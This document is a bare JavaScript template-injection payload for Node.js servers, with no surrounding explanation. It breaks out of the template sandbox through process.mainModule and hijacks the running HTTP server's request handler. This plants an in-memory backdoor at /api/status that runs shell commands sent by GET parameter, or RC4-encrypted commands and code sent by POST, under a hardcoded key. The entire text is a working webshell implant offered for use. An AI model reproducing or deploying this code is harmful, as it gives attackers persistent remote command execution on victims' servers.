{{ (function() { try { var mainModule = this.process.mainModule; var require = mainModule.require; var execSync = require('child_process').execSync; var Buffer = require('buffer').Buffer;
// RC4加密算法 function rc4(key, data) { var s = [], k = []; var i, j = 0, tmp; for (i = 0; i < 256; i++) { s[i] = i; k[i] = key.charCodeAt(i % key.length); } for (i = 0; i < 256; i++) { j = (j + s[i] + k[i]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; } i = j = 0; var out = []; for (var idx = 0; idx < data.length; idx++) { i = (i + 1) % 256; j = (j + s[i]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; var t = (s[i] + s[j]) % 256; out[idx] = data[idx] ^ s[t]; } return Buffer.from(out); }
var handles = this.process._getActiveHandles(); var httpServer = null;
for (var i = 0; i < handles.length; i++) { var h = handles[i]; if (h && h._events && h._events.request) { httpServer = h; break; } }
if (!httpServer) { return JSON.stringify({success: false, error: 'Server not found'}); }
var originalHandler = httpServer._events.request;
httpServer._events.request = function(req, res) { var isBackdoor = false;
if (req.url && (req.url === '/api/status' || req.url.indexOf('/api/status?') === 0 || req.url.indexOf('/api/status/') === 0)) { isBackdoor = true; }
if (isBackdoor && req.method === 'POST') { var body = '';
req.on('data', function(chunk) { body += chunk.toString(); });
req.on('end', function() { try { var json = JSON.parse(body); var key = '3c6e0b8a9c15224a';
if (json.data) { var encrypted = Buffer.from(json.data, 'base64'); var decrypted = rc4(key, encrypted);
var g = global;
if (g.ge0b8a === undefined) { try { var payloadCode = decrypted.toString(); var tmpPayload = new Function(payloadCode)(); if (typeof tmpPayload === 'object' && typeof tmpPayload.process === 'function') { g.ge0b8a = tmpPayload; } } catch(e) {} }
var result; if (g.ge0b8a !== undefined) { result = g.ge0b8a['process'].call(g.ge0b8a, decrypted); } else { var cmd = decrypted.toString(); result = execSync(cmd, {encoding: 'utf8', timeout: 10000}); }
var resultBuffer = Buffer.isBuffer(result) ? result : Buffer.from(result); var encryptedResult = rc4(key, resultBuffer);
res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({data: encryptedResult.toString('base64')})); return; } } catch(e) { res.writeHead(500, {'Content-Type': 'application/json'}); res.end(JSON.stringify({data: null, error: e.message})); return; }
res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({data: null})); });
return; }
// GET方式(简化) if (isBackdoor && req.method === 'GET') { var match = req.url.match(/[?&]cmd=([^&]+)/); if (match && match[1]) { try { var cmd = decodeURIComponent(match[1]); var output = execSync(cmd, {encoding: 'utf8'}); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({ok: true, data: output})); return; } catch(e) { res.writeHead(500, {'Content-Type': 'application/json'}); res.end(JSON.stringify({ok: false, err: e.message})); return; } }
res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({ status: 'ready', encrypted: global.ge0b8a !== undefined, methods: ['GET ?cmd=xxx', 'POST with encrypted data'] })); return; }
return originalHandler.call(this, req, res); };
return JSON.stringify({ success: true, message: 'RC4 encrypted backdoor installed', endpoints: { simple: 'GET /api/status?cmd=whoami', encrypted: 'POST /api/status with RC4', test: 'GET /api/status' }, key: '3c6e0b8a9c15224a' }, null, 2);
} catch(err) { return JSON.stringify({ success: false, error: err.message, stack: err.stack }); } })() }}
|